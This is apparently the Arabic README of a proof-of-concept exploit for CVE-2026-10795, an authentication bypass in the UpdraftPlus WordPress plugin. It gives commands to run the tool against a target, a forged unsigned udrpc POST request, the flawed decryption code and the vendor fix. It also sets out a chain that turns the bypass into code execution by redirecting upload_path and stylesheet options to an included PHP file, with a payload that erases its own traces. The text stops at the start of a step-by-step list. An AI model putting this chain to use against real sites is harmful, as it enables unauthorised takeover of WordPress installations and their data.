تم تعديل إثبات المفهوم (PoC) الخاص بـ CVE-2026-10795 بواسطة الذكاء الاصطناعي - لأغراض تعليمية فقط - استخدمه على مسؤوليتك الخاصة في المختبرات التي تملكها ;)
إثبات مفهوم (proof of concept) في ملف واحد لتجاوز المصادقة غير الموثّق في udrpc
داخل UpdraftPlus، والذي يؤدي إلى تنفيذ أوامر بمستوى المسؤول.
[!WARNING] للاختبار المصرّح به فقط. استخدم هذا ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. تشغيله ضد موقع طرف ثالث غير قانوني في معظم الولايات القضائية وليس الغرض من هذا المشروع. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار.
| CVE | CVE-2026-10795 |
| المكوّن | UpdraftPlus (إضافة النسخ الاحتياطي/الاستعادة في WordPress) |
| الإصدارات المصابة | <= 1.26.4 (Premium <= 2.26.4) |
| الإصدار المُصلَح | 1.26.5 وما بعده (أحدث إصدار وقت الكتابة: 1.26.14) |
| التصنيف | تجاوز المصادقة → تنفيذ أوامر عن بُعد |
| CVSS 3.1 | 9.8 حرجة — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | لا شيء |
| تفاعل المستخدم | لا شيء |
| الشروط المسبقة | وجود مفتاح UpdraftCentral أو Migrator نشط على الهدف |
تُتيح الإضافة مستمعًا للتحكم عن بُعد (udrpc) تستخدمه UpdraftCentral و
Migrator. في الإصدارات المصابة يقبل ذلك المستمع تنسيق الرسائل القديم format 1،
الذي لا يحمل أي توقيع، ويفك تشفير مفتاح AES الخاص بكل رسالة عبر عملية RSA
لا يتم التحقق من فشلها أبدًا. المهاجم الذي يزوّد مفتاحًا غير قابل لفك التشفير
يحصل على مفتاح AES معروف قيمته كلها أصفار، ويشفّر أمره الخاص، فينفّذه الموقع
بصفة المستخدم المرتبط بالمفتاح — وهو عادةً مسؤول.
يقوم هذا الـ PoC بما يلي:
ping للقراءة فقط ويثبت التجاوز دون آثار جانبية؛git clone https://github.com/<your-org>/CVE-2026-10795.git
cd CVE-2026-10795
python3 -m pip install -r requirements.txt
# Read-only check: no writes, no posts, no files.
python3 cve-2026-10795.py -u https://target.example -k --max-keys 2 --verbose
يعيد الهدف المعرّض للثغرات ردًا مشفّرًا من udrpc وتطبع الأداة:
0.central.updraftplus.com: HTTP 200, 976 bytes -> vulnerable
[+] VULNERABLE: authentication bypass succeeded (CVE-2026-10795).
الهدف المُرقَّع يرفض الرسالة بدلاً من ذلك:
0.central.updraftplus.com: HTTP 200, 0 bytes -> blocked
[-] Key name is valid, but the forged message was rejected.
This normally means the plugin is patched (>= 1.26.5).
يقوم decrypt_message() بتقسيم الكتلة المُقدَّمة من المهاجم إلى مفتاح متماثل مُغلَّف بـ RSA
ونص مشفّر AES، ثم يفك تشفير المفتاح ويستخدم النتيجة فورًا:
// class-udrpc2.php (1.25.9), decrypt_message()
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key); // returns false on malformed input
$rij->setKey($sym_key); // false -> zero-length / all-zero key
return $rij->decrypt($ciphertext);
تُرجع phpseclib القيمة false عند فشل عملية RSA. وتمرير false إلى
Crypt_Rijndael::setKey() يُنتج مفتاح AES-128 كله أصفار بدلاً من خطأ. وبالتالي
يعرف المهاجم المفتاح الذي سيُستخدم لفك تشفير حمولته الخاصة.
يضيف إصلاح المورّد فحصًا للنوع والطول قبل استخدام المفتاح:
$sym_key = $rsa->decrypt($sym_key);
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
يوقّع التنسيق 2 كل رسالة بالمفتاح العام للموقع. أما التنسيق 1 فيسبق ذلك ويُعالَج دون أي تحقق من التوقيع، لذا لا حاجة إلى أي مواد مفاتيح:
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
format=1&key_name=0.central.updraftplus.com&udrpc_message=<encrypted command>
تم في الإصدار 1.26.5 تقييد الصيغة 1 على أوامر Migrator الأربعة التي لا تزال بحاجة إليها، وفقط لأسماء المفاتيح المطابقة لنمط Migrator:
// Restrict use of format 1
if ($format < 2 && (!in_array($command, array('ping', 'get_file_status', 'send_chunk', 'upload_complete'))
|| !preg_match('/^([a-f0-9]+)\.migrator\.updraftplus\.com$/', $this->key_name_indicator))) {
$this->log("Obsolete format used - dropping (command: $command)", 'error');
die;
}
تجاوز المصادقة وحده هو تجاوز للمصادقة. يصبح تنفيذًا للكود لأن وحدات أوامر UpdraftCentral تكشف عن بدائيتين:
| البدائية | الملف | ما تتيحه |
|---|---|---|
comments.update_settings | central/modules/comments.php | تستدعي update_option() على أي مفتاح مُقدَّم — بما في ذلك upload_path وstylesheet. |
posts.save → attach_remote_image() | central/modules/posts.php | تكتب بايتات مُقدَّمة من المهاجم إلى wp_upload_dir()['path'] . '/' . basename($url) قبل أي فحص لنوع الملف. |
لا تتحقق أي من البدائيتين من مدخلاتها في 1.26.14، وإصلاح المورّد لهذه الثغرة CVE لا يغيّر ذلك. وهما موثّقتان كفجوات دفاع متعدد الطبقات في تقرير التقييم المرفق، لأن أي تجاوز مستقبلي للمصادقة — أو أي مفتاح UpdraftCentral مسروق — يعيد تفعيل السلسلة نفسها.
[!NOTE] جذر ويب غير قابل للكتابة لا يوقف هذا. تُعاد توجيه الكتابة إلى
/tmp، أو/var/tmp، أو/dev/shm، أوwp-content/uploads، ويُعاد توجيه التضمين باستخدام خيارstylesheetغير المُتحقَّق منه. غالبًا ما يكونopen_basedirهو الضابط الوحيد الذي يكسر ذلك.
flowchart TD
A["POST / with format=1<br/>udrpc_message encrypted with<br/>the all-zero AES key"] --> B{"Audio listener<br/>dispatches command"}
B --> C["comments.update_settings<br/>upload_path = /tmp/udc<token>"]
C --> D["posts.save<br/>attach_remote_image() writes<br/>/tmp/udc<token>/functions.php"]
D --> E["comments.update_settings<br/>stylesheet = ../../../../tmp/udc<token>"]
E --> F["GET /?udc_probe=<token><br/>WordPress includes the payload"]
F --> G["Arbitrary command execution<br/>as www-data"]
G --> H["Payload restores options,<br/>deletes its posts/attachments<br/>and removes its files"]
خطوة بخطوة: